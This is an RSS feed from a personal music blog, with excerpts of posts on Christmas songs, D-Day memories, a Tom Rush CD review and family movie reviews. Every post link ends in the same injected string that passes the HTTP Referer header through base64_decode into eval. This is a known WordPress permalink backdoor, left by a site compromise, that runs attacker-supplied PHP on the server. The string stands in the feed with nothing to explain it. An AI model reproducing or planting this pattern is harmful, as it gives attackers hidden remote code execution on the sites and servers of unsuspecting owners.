http://www.azmusiccafe.com Erich Sielaff's AZ Music Cafe Blog Wed, 10 Mar 2010 21:14:42 +0000 http://backend.userland.com/rss092 en Hey! Drop us a line, pontificate on a musical subject! Tell us about your favorite music! Review a CD! What is your favorite Christmas song? I have been working on the annual Christmas Sampler CD I send out to clients, so have immersed myself in ... http://www.azmusiccafe.com/2009/11/22/time-to-write/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Me again.   Pontificating.   Just being grateful really.    I remember as a kid watching the 20th anniversary TV commemoration of D DAY.   It seemed like ages ago to me then.   Like ancient history.   Black and white newsreels of the beaches at Normandy.    Ancient.      Today, not so much.   I realize that 20 years ago, ... http://www.azmusiccafe.com/2009/06/06/d-day-65-years-later/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am afraid it has been too long since I have added anything to the blog.  Part of it is time constraint, between the show and the real estate business, I haven't had time to scratch my....er....nose.    But that can be an excuse.  I am sure I have found the ... http://www.azmusiccafe.com/2009/05/24/giving-it-upmemorial-day-remembrance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Tom Rush has been a part of my musical world since I was first introduced to "No Regrets" when I was in high school, and then I explored "Panama Limited" and other acoustic blues clues to his beginnings after I saw him in concert at the Celebrity Theater back in 1971.      The kid ... http://www.azmusiccafe.com/2009/02/27/cd-review-tom-rush-what-i-know/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am foraying into uncharted territory here.   Being an amateur historian, in addition to the many other interests in which I am not proficient,  I feel compelled to try and at least add a little historical perspective.   Frankly, I am angry.   Everytime I turn on the radio or open a newspaper, I ... http://www.azmusiccafe.com/2009/02/10/beware-of-crisis-mongers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Courtesy of my brother in law, Paul Fricke, I have become a fan of a wild-haired, beanpole of a Texas gospel music phenomenon named David Crowder.   2 years ago or so, when visiting family in Madison, Paul started playing me some of Crowder's material.   At first, I sort of didn't get ... http://www.azmusiccafe.com/2009/01/30/concert-review-david-crowder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ (Martin, Blog Usurper here). I rented Ghost Town, a comedy with Rick Gervais.   I have to say, this movie is FUNNY.  We really enjoyed it.  The only thing bad I have to say about it was that it could have been done without some of the language.  I didn't expect ... http://www.azmusiccafe.com/2009/01/24/movie-review-ghost-town/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am amazed at how inefficient I have become.  I thought I was a pretty good multi tasker.  Pre-computer, I kept a legal pad on a clipboard nearby and had a system whereby I put a small date on the bottom of each page and wrote notes of things on the days I ... http://www.azmusiccafe.com/2009/01/10/flailing-around-organized-madness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Martin here (blog usurper), in celebration of my kids' stellar grades (3 kids, all A's save 2 B+'s) this semester, we took the kids out to dinner and then to see Bedtime Stories.   We all enjoyed this movie.   It was definitely kid-friendly but pleasant to watch for adults as ... http://www.azmusiccafe.com/2009/01/09/movie-review-bedtime-stories/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A few show notes and thoughts…….we just finished the Christmas Show on the AZ MUSIC CAFÉ this afternoon and I went home whooped.   Yes, a little Christmas sick bug and my brother’s Christmas party the night before may have made a contribution.   But mostly, it was the sheer energy that ... http://www.azmusiccafe.com/2008/12/21/christmas-show-on-az-music-cafe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/